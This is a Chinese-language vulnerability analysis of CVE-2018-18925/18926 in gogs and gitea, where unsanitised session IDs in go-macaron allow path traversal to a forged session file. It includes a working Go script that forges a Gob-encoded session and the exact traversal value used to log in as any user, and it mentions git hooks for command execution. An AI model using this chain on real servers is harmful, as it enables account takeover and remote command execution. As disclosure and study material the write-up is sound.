漏洞成因

由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤, 从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.

P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.

影响

攻击者可登陆任意账号包括管理员账号,同时可利用git hooks执行任意命令,同时存在严重的越权和命令执行问题。

分析

在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.

在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤../, ./等关键词给我们一个将任意文件作为session文件的机会.

// Read returns raw session store by session ID.
func (m *Manager) Read(sid string) (RawStore, error) {
    return m.provider.Read(sid)
}
func (p *FileProvider) filepath(sid string) string {
    return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}

func (p *FileProvider) Read(sid string) (_ RawStore, err error) {
    filename := p.filepath(sid)
    if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
        return nil, err
    }
    p.lock.RLock()
    defer p.lock.RUnlock()

    var f *os.File
    if com.IsFile(filename) {
        f, err = os.OpenFile(filename, os.O_RDONLY, 0600)
    } else {
        f, err = os.Create(filename)
    }
    if err != nil {
        return nil, err
    }
    defer f.Close()

    if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil {
        return nil, err
    }

    var kv map[interface{}]interface{}
    data, err := ioutil.ReadAll(f)
    if err != nil {
        return nil, err
    }
    if len(data) == 0 {
        kv = make(map[interface{}]interface{})
    } else {
        kv, err = DecodeGob(data)
        if err != nil {
            return nil, err
        }
    }
    return NewFileStore(p, sid, kv), nil
}

这里, 我们以gogs为例, 进行一次测试.

首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.

通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid, username).

通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("test.png", data, 0755)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.

对于默认配置的gogs,

release中文件存放的目录结构是, attachments/fid[0]/fid[1]/fid.

session存放的目录结构是, sessions/sid[0]/sid[1]/sid.

此外sessions与attachments文件夹均存放在相同的data文件夹下.

由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下, 修改session为我们刚刚上传的文件的路径, 即../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b, 读取session的函数将路径解析为sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b也就是我们上传的那个文件, 从而完成了任意用户登陆.

通过仓库的git hook也可以完成命令执行.

此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.

修复方式

更新至最新版.

参考资料

  1. CVE-2018-18925
  2. CVE-2018-18926
  3. Go代码审计 - gitea 远程命令执行漏洞链

源链接

Hacking more

...